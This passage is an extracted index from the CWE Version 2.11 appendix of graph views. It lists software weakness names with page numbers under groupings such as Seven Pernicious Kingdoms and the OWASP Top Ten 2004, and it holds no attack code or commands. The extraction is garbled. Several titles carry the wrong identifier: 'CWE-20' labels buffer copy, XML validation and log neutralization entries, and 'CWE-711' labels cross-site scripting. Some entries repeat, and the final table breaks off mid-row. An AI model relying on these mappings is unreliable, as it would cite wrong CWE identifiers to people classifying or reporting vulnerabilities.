- CWE-418: Channel Errors (p. 724)
- CWE-419: Unprotected Primary Channel (p. 724)
- CWE-420: Unprotected Alternate Channel (p. 725)
- CWE-421: Race Condition During Access to Alternate Channel (p. 726)
- CWE-422: Unprotected Windows Messaging Channel ('Shatter') (p. 727)
- CWE-514: Covert Channel (p. 860)
- CWE-385: Covert Timing Channel (p. 667)
- CWE-515: Covert Storage Channel (p. 861)
- CWE-424: Improper Protection of Alternate Path (p. 728)
- CWE-425: Direct Request ('Forced Browsing') (p. 729)
- CWE-427: Uncontrolled Search Path Element (p. 735)
- CWE-428: Unquoted Search Path or Element (p. 738)
- CWE-426: Untrusted Search Path (p. 731)
- CWE-275: Permission Issues (p. 489)
- CWE-216: Containment Errors (Container Errors) (p. 411)
- CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 793)
- CWE-429: Handler Errors (p. 740)
- CWE-430: Deployment of Wrong Handler (p. 740)
- CWE-431: Missing Handler (p. 741)
- CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations (p. 742)
- CWE-433: Unparsed Raw Web Content Delivery (p. 743)
- CWE-434: Unrestricted Upload of File with Dangerous Type (p. 744)
- CWE-479: Signal Handler Use of a Non-reentrant Function (p. 809)
- CWE-616: Incomplete Identification of Uploaded File Variables (PHP) (p. 965)
- CWE-438: Behavioral Problems (p. 753)
- CWE-439: Behavioral Change in New Version or Environment (p. 754)
- CWE-440: Expected Behavior Violation (p. 754)
- CWE-799: Improper Control of Interaction Frequency (p. 1229)
- CWE-837: Improper Enforcement of a Single, Unique Action (p. 1280)
- CWE-841: Improper Enforcement of Behavioral Workflow (p. 1288)
- CWE-442: Web Problems (p. 757)
CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag (p. 1415)
CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') (p. 211)
CWE-425: Direct Request ('Forced Browsing') (p. 729)
CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') (p. 758)
CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p. 944)
CWE-611: Improper Restriction of XML External Entity Reference ('XXE') (p. 960)
CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute (p. 963)
CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax (p. 1001)
CWE-646: Reliance on File Name or Extension of Externally-Supplied File (p. 1003)
CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p. 1004)
CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (p. 1193)
CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p. 1205)
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
   CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (p. 142)
   CWE-81: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page (p. 131)
   CWE-83: Improper Neutralization of Script in Attributes of a Web Page (p. 147)
   CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page (p. 146)
   CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page (p. 149)
   CWE-85: Doubled Character XSS Manipulations (p. 151)
   CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages (p. 152)
   CWE-87: Improper Neutralization of Alternate XSS Syntax (p. 153)
CWE-827: Improper Control of Document Type Definition (p. 1262)
CWE-918: Server-Side Request Forgery (SSRF) (p. 1349)
CWE-352: Cross-Site Request Forgery (CSRF) (p. 612)
CWE-346: Origin Validation Error (p. 603)
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
CWE-613: Insufficient Session Expiration (p. 962)
CWE-642: External Control of Critical State Data (p. 995)
CWE-452: Initialization and Cleanup Errors (p. 767)
CWE-453: Insecure Default Variable Initialization (p. 768)
CWE-454: External Initialization of Trusted Variables or Data Stores (p. 769)
CWE-455: Non-exit on Failed Initialization (p. 771)
CWE-456: Missing Initialization of a Variable (p. 772)
CWE-459: Incomplete Cleanup (p. 777)
CWE-460: Improper Cleanup on Thrown Exception (p. 779)
CWE-665: Improper Initialization (p. 1029)
CWE-457: Use of Uninitialized Variable (p. 774)
CWE-908: Use of Uninitialized Resource (p. 1334)
CWE-909: Missing Initialization of Resource (p. 1336)
CWE-910: Use of Expired File Descriptor (p. 1338)
CWE-911: Improper Update of Reference Count (p. 1339)
CWE-465: Pointer Issues (p. 784)
CWE-466: Return of Pointer Value Outside of Expected Range (p. 785)
CWE-467: Use of sizeof() on a Pointer Type (p. 786)
CWE-468: Incorrect Pointer Scaling (p. 788)
CWE-469: Use of Pointer Subtraction to Determine Size (p. 789)
CWE-476: NULL Pointer Dereference (p. 800)
CWE-690: Unchecked Return Value to NULL Pointer Dereference (p. 1073)
CWE-587: Assignment of a Fixed Address to a Pointer (p. 929)
CWE-588: Attempt to Access Child of a Non-structure Pointer (p. 930)
CWE-761: Free of Pointer not at Start of Buffer (p. 1162)
Appendix A - Graph Views: CWE-699: Development Concepts

CWE Version 2.11

CWE-763: Release of Invalid Pointer or Reference (p. 1167)
CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code (p. 1200)
CWE-822: Untrusted Pointer Dereference (p. 1254)
CWE-823: Use of Out-of-range Pointer Offset (p. 1256)
CWE-824: Access of Uninitialized Pointer (p. 1257)
CWE-825: Expired Pointer Dereference (p. 1259)
CWE-490: Mobile Code Issues (p. 828)
CWE-491: Public cloneable() Method Without Final ('Object Hijack') (p. 828)
CWE-492: Use of Inner Class Containing Sensitive Data (p. 829)
CWE-493: Critical Public Variable Without Final Modifier (p. 835)
CWE-500: Public Static Field Not Marked Final (p. 847)
CWE-494: Download of Code Without Integrity Check (p. 837)
CWE-582: Array Declared Public, Final, and Static (p. 924)
CWE-583: finalize() Method Declared Public (p. 925)
CWE-505: Intentionally Introduced Weakness (p. 853)
CWE-513: Intentionally Introduced Nonmalicious Weakness (p. 860)
CWE-517: Other Intentional, Nonmalicious Weakness (p. 862)
CWE-506: Embedded Malicious Code (p. 854)
CWE-507: Trojan Horse (p. 855)
CWE-508: Non-Replicating Malicious Code (p. 856)
CWE-509: Replicating Malicious Code (Virus or Worm) (p. 857)
CWE-510: Trapdoor (p. 857)
CWE-511: Logic/Time Bomb (p. 859)
CWE-512: Spyware (p. 859)
CWE-912: Hidden Functionality (p. 1340)
CWE-913: Improper Control of Dynamically-Managed Code Resources (p. 1340)
CWE-502: Deserialization of Untrusted Data (p. 849)
CWE-914: Improper Control of Dynamically-Identified Variables (p. 1341)
CWE-621: Variable Extraction Error (p. 971)
CWE-627: Dynamic Variable Evaluation (p. 977)
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes (p. 1343)
CWE-518: Inadvertently Introduced Weakness (p. 863)
CWE-514: Covert Channel (p. 860)
CWE-385: Covert Timing Channel (p. 667)
CWE-515: Covert Storage Channel (p. 861)
CWE-569: Expression Issues (p. 908)
CWE-480: Use of Incorrect Operator (p. 811)
CWE-481: Assigning instead of Comparing (p. 813)
CWE-482: Comparing instead of Assigning (p. 816)
CWE-597: Use of Wrong Operator in String Comparison (p. 940)
CWE-570: Expression is Always False (p. 908)
CWE-571: Expression is Always True (p. 911)
CWE-588: Attempt to Access Child of a Non-structure Pointer (p. 930)
CWE-595: Comparison of Object References Instead of Object Contents (p. 938)
CWE-597: Use of Wrong Operator in String Comparison (p. 940)
CWE-596: Incorrect Semantic Object Comparison (p. 939)
CWE-783: Operator Precedence Logic Error (p. 1203)
CWE-840: Business Logic Errors (p. 1287)
CWE-200: Information Exposure (p. 384)
CWE-201: Information Exposure Through Sent Data (p. 388)
CWE-202: Exposure of Sensitive Data Through Data Queries (p. 389)
CWE-203: Information Exposure Through Discrepancy (p. 390)
CWE-204: Response Discrepancy Information Exposure (p. 392)
CWE-205: Information Exposure Through Behavioral Discrepancy (p. 394)
CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency (p. 395)
CWE-207: Information Exposure Through an External Behavioral Inconsistency (p. 396)
CWE-208: Information Exposure Through Timing Discrepancy (p. 396)
CWE-209: Information Exposure Through an Error Message (p. 397)
CWE-210: Information Exposure Through Self-generated Error Message (p. 402)
CWE-535: Information Exposure Through Shell Error Message (p. 877)
CWE-536: Information Exposure Through Servlet Runtime Error Message (p. 878)
CWE-537: Information Exposure Through Java Runtime Error Message (p. 879)
CWE-211: Information Exposure Through Externally-generated Error Message (p. 404)
CWE-550: Information Exposure Through Server Error Message (p. 890)
CWE-212: Improper Cross-boundary Removal of Sensitive Data (p. 405)
CWE-213: Intentional Information Exposure (p. 407)
CWE-214: Information Exposure Through Process Environment (p. 408)
CWE-215: Information Exposure Through Debug Information (p. 409)
CWE-226: Sensitive Information Uncleared Before Release (p. 417)
CWE-497: Exposure of System Data to an Unauthorized Control Sphere (p. 842)
CWE-498: Cloneable Class Containing Sensitive Information (p. 844)
CWE-499: Serializable Class Containing Sensitive Data (p. 845)
CWE-524: Information Exposure Through Caching (p. 869)
CWE-525: Information Exposure Through Browser Caching (p. 870)
CWE-526: Information Exposure Through Environmental Variables (p. 871)
CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere (p. 871)
CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 872)
CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p. 873)
CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p. 873)
CWE-532: Information Exposure Through Log Files (p. 875)
CWE-533: Information Exposure Through Server Log Files (p. 876)
CWE-534: Information Exposure Through Debug Log Files (p. 877)
CWE-542: Information Exposure Through Cleanup Log Files (p. 884)
CWE-539: Information Exposure Through Persistent Cookies (p. 882)
CWE-540: Information Exposure Through Source Code (p. 882)
CWE-531: Information Exposure Through Test Code (p. 874)
CWE-541: Information Exposure Through Include Source Code (p. 883)
CWE-615: Information Exposure Through Comments (p. 964)
CWE-548: Information Exposure Through Directory Listing (p. 889)
CWE-651: Information Exposure Through WSDL File (p. 1010)
CWE-598: Information Exposure Through Query Strings in GET Request (p. 941)
CWE-612: Information Exposure Through Indexing of Private Data (p. 962)
CWE-282: Improper Ownership Management (p. 498)
CWE-283: Unverified Ownership (p. 499)
CWE-708: Incorrect Ownership Assignment (p. 1111)
CWE-285: Improper Authorization (p. 502)
CWE-862: Missing Authorization (p. 1303)
CWE-425: Direct Request (‘Forced Browsing’) (p. 729)
CWE-639: Authorization Bypass Through User-Controlled Key (p. 990)
CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (p. 905)
CWE-939: Improper Authorization in Handler for Custom URL Scheme (p. 1386)
CWE-863: Incorrect Authorization (p. 1308)
CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p. 891)
CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p. 1004)
CWE-804: Guessable CAPTCHA (p. 1233)
Appendix A - Graph Views: CWE-699: Development Concepts

- CWE-926: Improper Export of Android Application Components (p. 1356)
- CWE-927: Use of Implicit Intent for Sensitive Communication (p. 1359)
- CWE-288: Authentication Bypass Using an Alternate Path or Channel (p. 513)
- CWE-425: Direct Request ("Forced Browsing") (p. 729)
- CWE-408: Incorrect Behavior Order: Early Amplification (p. 708)
- CWE-596: Incorrect Semantic Object Comparison (p. 939)
- CWE-639: Authorization Bypass Through User-Controlled Key (p. 990)
- CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (p. 905)
- CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p. 991)
- CWE-666: Operation on Resource in Wrong Phase of Lifetime (p. 1033)
- CWE-826: Premature Release of Resource During Expected Lifetime (p. 1261)
- CWE-696: Incorrect Behavior Order (p. 1080)
- CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
- CWE-754: Improper Check for Unusual or Exceptional Conditions (p. 1146)
- CWE-770: Allocation of Resources Without Limits or Throttling (p. 1178)
- CWE-789: Uncontrolled Memory Allocation (p. 1215)
- CWE-799: Improper Control of Interaction Frequency (p. 1229)
- CWE-837: Improper Enforcement of a Single, Unique Action (p. 1280)
- CWE-841: Improper Enforcement of Behavioral Workflow (p. 1288)
- CWE-227: Improper Fulfillment of API Contract ("API Abuse") (p. 419)
- CWE-251: Often Misused: String Management (p. 446)
- CWE-559: Often Misused: Arguments and Parameters (p. 896)
- CWE-560: Use of umask() with chmod-style Argument (p. 897)
- CWE-628: Function Call with Incorrectly Specified Arguments (p. 979)
- CWE-683: Function Call with Incorrect Order of Arguments (p. 1066)
- CWE-685: Function Call with Incorrect Number of Arguments (p. 1068)
- CWE-686: Function Call with Incorrect Argument Type (p. 1069)
- CWE-687: Function Call with Incorrectly Specified Argument Value (p. 1070)
- CWE-688: Function Call with Incorrect Variable or Reference as Argument (p. 1071)
- CWE-242: Use of Inherently Dangerous Function (p. 432)
- CWE-243: Creation of chroot Jail Without Changing Working Directory (p. 434)
- CWE-244: Improper Clearing of Heap Memory Before Release ("Heap Inspection") (p. 435)
- CWE-245: J2EE Bad Practices: Direct Management of Connections (p. 436)
- CWE-246: J2EE Bad Practices: Direct Use of Sockets (p. 438)
- CWE-248: Uncaught Exception (p. 439)
- CWE-250: Execution with Unnecessary Privileges (p. 441)
- CWE-252: Unchecked Return Value (p. 447)
- CWE-253: Incorrect Check of Function Return Value (p. 452)
- CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p. 609)
- CWE-382: J2EE Bad Practices: Use of System.exit() (p. 662)
- CWE-573: Improper Following of Specification by Caller (p. 913)
- CWE-577: EJB Bad Practices: Use of Sockets (p. 919)
- CWE-578: EJB Bad Practices: Use of Class Loader (p. 920)
- CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session (p. 922)
- CWE-580: clone() Method Without super.clone() (p. 923)
- CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined (p. 924)
- CWE-675: Duplicate Operations on Resource (p. 1045)
- CWE-694: Use of Multiple Resources with Duplicate Identifier (p. 1078)
- CWE-695: Use of Low-Level Functionality (p. 1079)
- CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p. 914)
- CWE-575: EJB Bad Practices: Use of AWT Swing (p. 915)
- CWE-576: EJB Bad Practices: Use of Java I/O (p. 917)
- CWE-589: Call to Non-ubiquitous API (p. 931)
- CWE-605: Multiple Binds to the Same Port (p. 953)
- CWE-650: Trusting HTTP Permission Methods on the Server Side (p. 1009)
CWE-684: Incorrect Provision of Specified Functionality (p. 1067)
CWE-398: Indicator of Poor Code Quality (p. 885)
CWE-404: Improper Resource Shutdown or Release (p. 700)
  CWE-619: Dangling Database Cursor (‘Cursor Injection’) (p. 968)
  CWE-772: Missing Release of Resource after Effective Lifetime (p. 1186)
CWE-474: Use of Function with Inconsistent Implementations (p. 799)
CWE-475: Undefined Behavior for Input to API (p. 799)
CWE-476: NULL Pointer Dereference (p. 800)
  CWE-690: Unchecked Return Value to NULL Pointer Dereference (p. 1073)
CWE-477: Use of Obsolete Functions (p. 804)
CWE-478: Missing Default Case in Switch Statement (p. 806)
CWE-483: Incorrect Block Delimitation (p. 817)
CWE-484: Omitted Break Statement in Switch (p. 819)
CWE-546: Suspicious Comment (p. 887)
CWE-547: Use of Hard-coded, Security-relevant Constants (p. 888)
CWE-561: Dead Code (p. 898)
  CWE-570: Expression is Always False (p. 908)
  CWE-571: Expression is Always True (p. 911)
CWE-562: Return of Stack Variable Address (p. 900)
CWE-563: Assignment to Variable without Use (‘Unused Variable’) (p. 901)
CWE-585: Empty Synchronized Block (p. 927)
CWE-586: Explicit Call to Finalize() (p. 928)
CWE-617: Reachable Assertion (p. 966)
CWE-676: Use of Potentially Dangerous Function (p. 1046)
CWE-435: Interaction Error (p. 750)
CWE-436: Interpretation Conflict (p. 751)
  CWE-115: Misinterpretation of Input (p. 217)
  CWE-437: Incomplete Model of Endpoint Features (p. 753)
  CWE-626: Null Byte Interaction Error (Poison Null Byte) (p. 976)
  CWE-650: Trusting HTTP Permission Methods on the Server Side (p. 1009)
  CWE-733: Compiler Optimization Removal or Modification of Security-critical Code (p. 1131)
  CWE-14: Compiler Removal of Code to Clear Buffers (p. 12)
CWE-485: Insufficient Encapsulation (p. 820)
CWE-486: Comparison of Classes by Name (p. 822)
CWE-487: Reliance on Package-level Scope (p. 824)
CWE-488: Exposure of Data Element to Wrong Session (p. 825)
CWE-489: Leftover Debug Code (p. 826)
CWE-495: Private Array-Typed Field Returned From A Public Method (p. 840)
CWE-496: Public Data Assigned to Private Array-Typed Field (p. 841)
CWE-498: Cloneable Class Containing Sensitive Information (p. 844)
CWE-499: Serializable Class Containing Sensitive Data (p. 845)
CWE-501: Trust Boundary Violation (p. 848)
CWE-580: clone() Method Without super.clone() (p. 923)
CWE-594: J2EE Framework: Saving Unserializable Objects to Disk (p. 936)
CWE-607: Public Static Final Field References Mutable Object (p. 955)
CWE-749: Exposed Dangerous Method or Function (p. 1141)
  CWE-782: Exposed IOCTL with Insufficient Access Control (p. 1202)
CWE-766: Critical Variable Declared Public (p. 1173)
CWE-767: Access to Critical Private Variable via Public Method (p. 1175)
CWE-657: Violation of Secure Design Principles (p. 1019)
CWE-250: Execution with Unnecessary Privileges (p. 441)
CWE-636: Not Failing Securely (‘Failing Open’) (p. 985)
CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using ‘Economy of Mechanism’) (p. 987)
CWE-638: Not Using Complete Mediation (p. 988)
CWE-653: Insufficient Compartmentalization (p. 1012)
CWE-654: Reliance on a Single Factor in a Security Decision (p. 1014)
CWE-655: Insufficient Psychological Acceptability (p. 1016)
CWE-656: Reliance on Security Through Obscurity (p. 1017)
CWE-671: Lack of Administrator Control over Security (p. 1040)
CWE-691: Insufficient Control Flow Management (p. 1075)
CWE-670: Always-Incorrect Control Flow Implementation (p. 1040)
CWE-705: Incorrect Control Flow Scoping (p. 1108)
CWE-834: Excessive Iteration (p. 1276)
CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') (p. 1277)
CWE-710: Coding Standards Violation (p. 1112)
CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior (p. 1156)
Graph View: CWE-700: Seven Pernicious Kingdoms

CWE-1005: Input Validation and Representation (p. 1417)
  - CWE-20: Improper Input Validation (p. 18)
    - CWE-102: Struts: Duplicate Validation Forms (p. 193)
    - CWE-103: Struts: Incomplete validate() Method Definition (p. 194)
    - CWE-104: Struts: Form Bean Does Not Extend Validation Class (p. 196)
  - CWE-20: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
    - CWE-105: Struts: Form Field Without Validator (p. 198)
    - CWE-106: Struts: Plug-in Framework not in Use (p. 201)
  - CWE-20: Unvalidated Action Form (p. 204)
  - CWE-109: Struts: Validator Turned Off (p. 205)
  - CWE-110: Struts: Validator Without Form Field (p. 206)
  - CWE-20: Missing XML Validation (p. 210)
  - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting') (p. 211)
  - CWE-20: Improper Output Neutralization for Logs (p. 223)
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
  - CWE-134: Use of Externally-Controlled Format String (p. 277)
  - CWE-15: External Control of System or Configuration Setting (p. 14)
  - CWE-170: Improper Null Termination (p. 328)
  - CWE-190: Integer Overflow or Wraparound (p. 361)
  - CWE-466: Return of Pointer Value Outside of Expected Range (p. 785)
  - CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p. 791)
  - CWE-73: External Control of File Name or Path (p. 108)
  - CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p. 1207)
  - CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p. 117)
  - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
  - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
  - CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p. 190)

CWE-2: Environment (p. 1)
  - CWE-11: ASP.NET Misconfiguration: Creating Debug Binary (p. 8)
  - CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page (p. 9)
  - CWE-13: ASP.NET Misconfiguration: Password in Configuration File (p. 11)
  - CWE-14: Compiler Removal of Code to Clear Buffers (p. 12)
  - CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption (p. 2)
  - CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length (p. 3)
  - CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p. 5)
  - CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote (p. 6)
  - CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p. 7)

CWE-254: Security Features (p. 453)
  - CWE-256: Plaintext Storage of a Password (p. 455)
  - CWE-258: Empty Password in Configuration File (p. 459)
  - CWE-259: Use of Hard-coded Password (p. 460)
  - CWE-260: Password in Configuration File (p. 464)
  - CWE-261: Weak Cryptography for Passwords (p. 465)
  - CWE-272: Least Privilege Violation (p. 483)
  - CWE-285: Improper Authorization (p. 502)
  - CWE-330: Use of Insufficiently Random Values (p. 582)
CWE Version 2.11
Appendix A - Graph Views: CWE-700: Seven Pernicious Kingdoms

- CWE-359: Exposure of Private Information ('Privacy Violation') (p. 623)
- CWE-798: Use of Hard-coded Credentials (p. 1223)

CWE-361: Time and State (p. 627)
- CWE-364: Signal Handler Race Condition (p. 636)
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p. 643)
- CWE-377: Insecure Temporary File (p. 657)
- CWE-382: J2EE Bad Practices: Use of System.exit() (p. 662)
- CWE-383: J2EE Bad Practices: Direct Use of Threads (p. 664)
- CWE-412: Unrestricted Externally Accessible Lock (p. 712)
- CWE-384: Session Fixation (p. 665)
  - CWE-346: Origin Validation Error (p. 603)
  - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
  - CWE-472: External Control of Assumed-Immutable Web Parameter (p. 795)

CWE-388: Error Handling (p. 670)
- CWE-391: Unchecked Error Condition (p. 677)
- CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference (p. 681)
- CWE-396: Declaration of Catch for Generic Exception (p. 683)
- CWE-397: Declaration of Throws for Generic Exception (p. 684)

CWE-227: Improper Fulfillment of API Contract ('API Abuse') (p. 419)
- CWE-251: Often Misused: String Management (p. 446)
- CWE-242: Use of Inherently Dangerous Function (p. 432)
- CWE-243: Creation of chroot Jail Without Changing Working Directory (p. 434)
- CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p. 435)
- CWE-245: J2EE Bad Practices: Direct Management of Connections (p. 436)
- CWE-246: J2EE Bad Practices: Direct Use of Sockets (p. 438)
- CWE-248: Uncaught Exception (p. 439)
- CWE-250: Execution with Unnecessary Privileges (p. 441)
- CWE-252: Unchecked Return Value (p. 447)
- CWE-558: Use of getlogin() in Multithreaded Application (p. 895)

CWE-398: Indicator of Poor Code Quality (p. 685)
- CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak') (p. 695)
- CWE-404: Improper Resource Shutdown or Release (p. 700)
- CWE-415: Double Free (p. 718)
- CWE-416: Use After Free (p. 720)
- CWE-457: Use of Uninitialized Variable (p. 774)
- CWE-474: Use of Function with Inconsistent Implementations (p. 799)
- CWE-475: Undefined Behavior for Input to API (p. 799)
- CWE-476: NULL Pointer Dereference (p. 800)
- CWE-477: Use of Obsolete Functions (p. 804)

CWE-485: Insufficient Encapsulation (p. 820)
- CWE-490: Mobile Code Issues (p. 828)
- CWE-486: Comparison of Classes by Name (p. 822)
- CWE-488: Exposure of Data Element to Wrong Session (p. 825)
- CWE-489: Leftover Debug Code (p. 826)
- CWE-491: Public cloneable() Method Without Final ('Object Hijack') (p. 828)
- CWE-492: Use of Inner Class Containing Sensitive Data (p. 829)
- CWE-493: Critical Public Variable Without Final Modifier (p. 835)
- CWE-495: Private Array-Typed Field Returned From A Public Method (p. 840)
- CWE-496: Public Data Assigned to Private Array-Typed Field (p. 841)
- CWE-497: Exposure of System Data to an Unauthorized Control Sphere (p. 842)
- CWE-501: Trust Boundary Violation (p. 848)
### Graph View: CWE-709: Named Chains

<table>
<thead>
<tr>
<th>CWE-680: Integer Overflow to Buffer Overflow (p. 1059)</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-190: Integer Overflow or Wraparound (p. 361)</td>
</tr>
<tr>
<td>→ CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)</td>
</tr>
<tr>
<td>CWE-690: Unchecked Return Value to NULL Pointer Dereference (p. 1073)</td>
</tr>
<tr>
<td>→ CWE-252: Unchecked Return Value (p. 447)</td>
</tr>
<tr>
<td>→ CWE-476: NULL Pointer Dereference (p. 800)</td>
</tr>
<tr>
<td>CWE-692: Incomplete Blacklist to Cross-Site Scripting (p. 1076)</td>
</tr>
<tr>
<td>→ CWE-184: Incomplete Blacklist (p. 352)</td>
</tr>
<tr>
<td>→ CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)</td>
</tr>
</tbody>
</table>

CWE-722: OWASP Top Ten 2004 Category A1 - Unvalidated Input (p. 1118)
  - CWE-102: Struts: Duplicate Validation Forms (p. 193)
  - CWE-103: Struts: Incomplete validate() Method Definition (p. 194)
  - CWE-104: Struts: Form Bean Does Not Extend Validation Class (p. 196)
  - CWE-106: Struts: Plug-in Framework not in Use (p. 201)
  - CWE-109: Struts: Validator Turned Off (p. 205)
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
  - CWE-166: Improper Handling of Missing Special Element (p. 324)
  - CWE-167: Improper Handling of Additional Special Element (p. 325)
  - CWE-179: Incorrect Behavior Order: Early Validation (p. 345)
  - CWE-180: Incorrect Behavior Order: Validate Before Canonicalize (p. 347)
  - CWE-181: Incorrect Behavior Order: Validate Before Filter (p. 349)
  - CWE-182: Collapse of Data into Unsafe Value (p. 350)
  - CWE-183: Permissive Whitelist (p. 352)
  - CWE-20: Improper Input Validation (p. 18)
  - CWE-425: Direct Request ('Forced Browsing') (p. 729)
  - CWE-472: External Control of Assumed-Immutable Web Parameter (p. 795)
  - CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p. 944)
  - CWE-602: Client-Side Enforcement of Server-Side Security (p. 949)
  - CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p. 117)
  - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
  - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)

CWE-723: OWASP Top Ten 2004 Category A2 - Broken Access Control (p. 1119)
  - CWE-275: Permission Issues (p. 489)
  - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
  - CWE-266: Incorrect Privilege Assignment (p. 472)
  - CWE-268: Privilege Chaining (p. 476)
  - CWE-283: Unverified Ownership (p. 499)
  - CWE-284: Improper Access Control (p. 500)
  - CWE-285: Improper Authorization (p. 502)
  - CWE-330: Use of Insufficiently Random Values (p. 582)
  - CWE-41: Improper Resolution of Path Equivalence (p. 73)
  - CWE-425: Direct Request ('Forced Browsing') (p. 729)
  - CWE-525: Information Exposure Through Browser Caching (p. 870)
  - CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation (p. 894)
  - CWE-639: Authorization Bypass Through User-Controlled Key (p. 990)
  - CWE-708: Incorrect Ownership Assignment (p. 1111)
  - CWE-73: External Control of File Name or Path (p. 108)
  - CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p. 7)

CWE-724: OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management (p. 1120)
  - CWE-255: Credentials Management (p. 454)
  - CWE-259: Use of Hard-coded Password (p. 460)
  - CWE-287: Improper Authentication (p. 508)
  - CWE-296: Improper Following of a Certificate's Chain of Trust (p. 525)
  - CWE-298: Improper Validation of Certificate Expiration (p. 528)
  - CWE-302: Authentication Bypass by Assumed-Immutable Data (p. 535)
  - CWE-304: Missing Critical Step in Authentication (p. 536)
<table>
<thead>
<tr>
<th>CWE</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-307</td>
<td>Improper Restriction of Excessive Authentication Attempts (p. 542)</td>
</tr>
<tr>
<td>CWE-309</td>
<td>Use of Password System for Primary Authentication (p. 546)</td>
</tr>
<tr>
<td>CWE-345</td>
<td>Insufficient Verification of Data Authenticity (p. 601)</td>
</tr>
<tr>
<td>CWE-521</td>
<td>Weak Password Requirements (p. 864)</td>
</tr>
<tr>
<td>CWE-522</td>
<td>Insufficiently Protected Credentials (p. 865)</td>
</tr>
<tr>
<td>CWE-525</td>
<td>Information Exposure Through Browser Caching (p. 870)</td>
</tr>
<tr>
<td>CWE-613</td>
<td>Insufficient Session Expiration (p. 962)</td>
</tr>
<tr>
<td>CWE-620</td>
<td>Unverified Password Change (p. 969)</td>
</tr>
<tr>
<td>CWE-640</td>
<td>Weak Password Recovery Mechanism for Forgotten Password (p. 991)</td>
</tr>
<tr>
<td>CWE-798</td>
<td>Use of Hard-coded Credentials (p. 1223)</td>
</tr>
<tr>
<td>CWE-384</td>
<td>Session Fixation (p. 665)</td>
</tr>
<tr>
<td>CWE-346</td>
<td>Origin Validation Error (p. 603)</td>
</tr>
<tr>
<td>CWE-441</td>
<td>Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)</td>
</tr>
<tr>
<td>CWE-472</td>
<td>External Control of Assumed-Immutable Web Parameter (p. 795)</td>
</tr>
<tr>
<td>CWE-711</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)</td>
</tr>
<tr>
<td>CWE-725</td>
